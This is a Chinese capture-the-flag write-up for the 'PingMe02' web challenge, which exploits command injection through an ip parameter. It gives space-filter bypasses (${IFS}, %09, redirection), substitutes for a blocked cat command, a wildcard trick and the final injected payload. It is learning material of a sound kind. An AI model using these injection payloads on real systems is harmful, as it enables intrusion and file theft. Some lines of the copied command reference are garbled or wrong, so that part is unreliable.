青少年CTF训练平台 Web-Easy PingMe02

93 阅读2分钟

题目链接:青少年CTF训练平台 在这里插入图片描述 提示传入参数ip 在这里插入图片描述 在这里插入图片描述 加入管道符可以正常执行命令 在这里插入图片描述 过滤了空格 在这里插入图片描述 可以使用一下几种符号绕过

<  --  重定向,如cat<flag.php
<>      --   重定向,如cat<>flag.php
%09  --  需要php环境,如cat%09flag.php
${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

在这里插入图片描述 cat被过滤 可以使用tac more head tail等命令绕过

查看文本内容
查看全部文本内容:
1、cat命令
cat file_name
#输出所有文本内容
3、cat -n file_name
#文本内容所有行加上行编号输出
3、cat -b file_name
#文本内容非空行加上行编号输出

分页查看文本内容:
1、more命令(常用的分页工具)
more file_name
2、less命令(more升级版分页工具)
less file_name
#显示行加-N参数,less -N file_name
#更多命令及使用方法查看less --help或man less

查看部分文件内容
head 命令:显示文件开头一些行的内容,默认显示文件前101,查看显示文首内容 head -n [number] file_name ,显示文首多少行内容
head -n 100 file_name
#显示文首一百行内容
#或不加-n,head -100 file_name也是显示文尾100行内容
2、输出文首最后的多少个字节
head -c 10 file_name

tail 命令:显示文件最后一些行的内容,默认显示文件后101、查看显示文尾内容 tail -n [number] file_name ,显示文尾多少行内容
tail -n 100 file_name
#显示文尾一百行内容
#或不加-n,tail -100 file_name也是显示文尾100行内容
2、当文件增长时输出追加的数据,比如日志时时生成,(crtl+c终止显示)
tail -f log_file
3、加-f参数显示追加是数据时可以与-s参数配置,睡眠几秒在进行追加显示
tail -f -s 10 log_file
#查看日志内容,10秒刷新一次
4、输出文尾最后的多少个字节
tail -c 10 file_name

在这里插入图片描述 在这里插入图片描述 查看根目录下的flag,很明显过滤了flag关键字 可以使用f通配符绕过 在这里插入图片描述 构造payload:?ip=127.0.0.1|more%09/f 得到flag 在这里插入图片描述